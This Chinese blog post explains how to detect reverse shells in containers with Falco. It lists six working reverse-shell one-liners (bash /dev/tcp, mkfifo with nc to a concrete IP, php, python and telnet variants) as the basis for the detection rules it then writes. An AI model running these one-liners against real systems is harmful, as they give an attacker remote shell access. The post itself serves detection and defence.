首页 » SEO优化 » linuxphpmkfifo技巧_运用Falco监控反弹Shell

linuxphpmkfifo技巧_运用Falco监控反弹Shell

访客 2024-11-28 0

扫一扫用手机浏览

文章目录 [+]

安装Falco

根据文档在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得把稳Falco容器自身的安全性,不然就被逃逸了:

linuxphpmkfifo技巧_运用Falco监控反弹Shell

docker pull falcosecurity/falco:latest

虽然宿主机Falco安装失落败了,但是Falco干系的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的变动:

linuxphpmkfifo技巧_运用Falco监控反弹Shell
(图片来自网络侵删)

docker run --rm -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/ falcosecurity/falco:latest

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回答“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战履历分享条记

4.网安大厂口试题合集

5.红蓝对抗实战技能秘籍

6.网络安全根本入门、Linux、web安全、渗透测试方面视频

可以正常运行:

反弹Shell剖析

既然我们要监控反弹Shell的行为,我们就要剖析对应的行为特色,我们利用我揭橥在TSRC的红蓝对抗之Linux内网渗透文中的反弹Shell手段看看进程有啥特性或者共性:

bash -i >& /dev/tcp/1.1.1.1/10000 0>&1

bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f

php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'

python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF

根据上面的反弹Shell行为,创造有几个特性,或者说共性:

fd有对外的socket连接,且fd.num不超过3fd有pipe管道,且fd.num不超过4fd.255是/dev/tty

根据综上所述,可以编写对应的规则。

编写监控规则

Falco的规则有三块内容:

RulesMacrosLists

Rules紧张是告警名称、告警先容、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。

规则长下面这样:

Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:

根据上述反弹Shell剖析,如果bash、zsh这些进程的fd涌现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则:

- list: shell_binaries items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]- rule: Shell Binary Reverse shell desc: Bash、Zsh etc. have network connection,May be Reverse Shell condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6") output: > Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip) priority: emergency tags: [container, reverse_shell, mitre_execution] append: false

上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:

但是这样很随意马虎被绕过,紧张实行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的办法。
因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行:

- rule: Any Binary fd 0-3 Have Network Connection desc: Any Binary fd 0-3 have network connection condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6") output: > Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip) priority: warning tags: [container, fd03_network] append: false

连续根据上面的反弹Shell剖析,创造telnet这样的反弹Shell,会有管道pipe的产生,因此我们连续完善我们的告警,添加Pipe:

- rule: Shell Binary Pipe desc: Bash、Zsh etc. have Pipe,May be Reverse Shell condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe" output: > Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip) priority: emergency tags: [container, reverse_shell, pipe, mitre_execution] append: false

fd.255是/dev/tty也可以加个:

- rule: fd.255 = tty desc: fd.255 = tty condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty' output: > fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip) priority: warning tags: [container, fd255_tty] append: false总结

本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。

声明

本文仅限于技能谈论与分享,严禁用于造孽路子。
若读者因此作出任何危害网络安全行为后果自大,与本号及原作者无关。

标签:

相关文章

QQ聊天恶搞代码技术背后的趣味与风险

人们的生活越来越离不开社交软件。在我国,QQ作为一款历史悠久、用户众多的社交平台,深受广大网民喜爱。在QQ聊天的过程中,恶搞代码的...

SEO优化 2025-03-02 阅读1 评论0

Python代码截屏技术与应用的完美融合

计算机屏幕截图已经成为人们日常生活中不可或缺的一部分。无论是分享工作成果、记录游戏瞬间,还是保存网页信息,屏幕截图都发挥着重要作用...

SEO优化 2025-03-02 阅读1 评论0

QQ无限刷礼物代码技术突破还是道德沦丧

社交平台逐渐成为人们生活中不可或缺的一部分。QQ作为我国最具影响力的社交软件之一,其丰富的功能吸引了大量用户。近期有关QQ无限刷礼...

SEO优化 2025-03-02 阅读1 评论0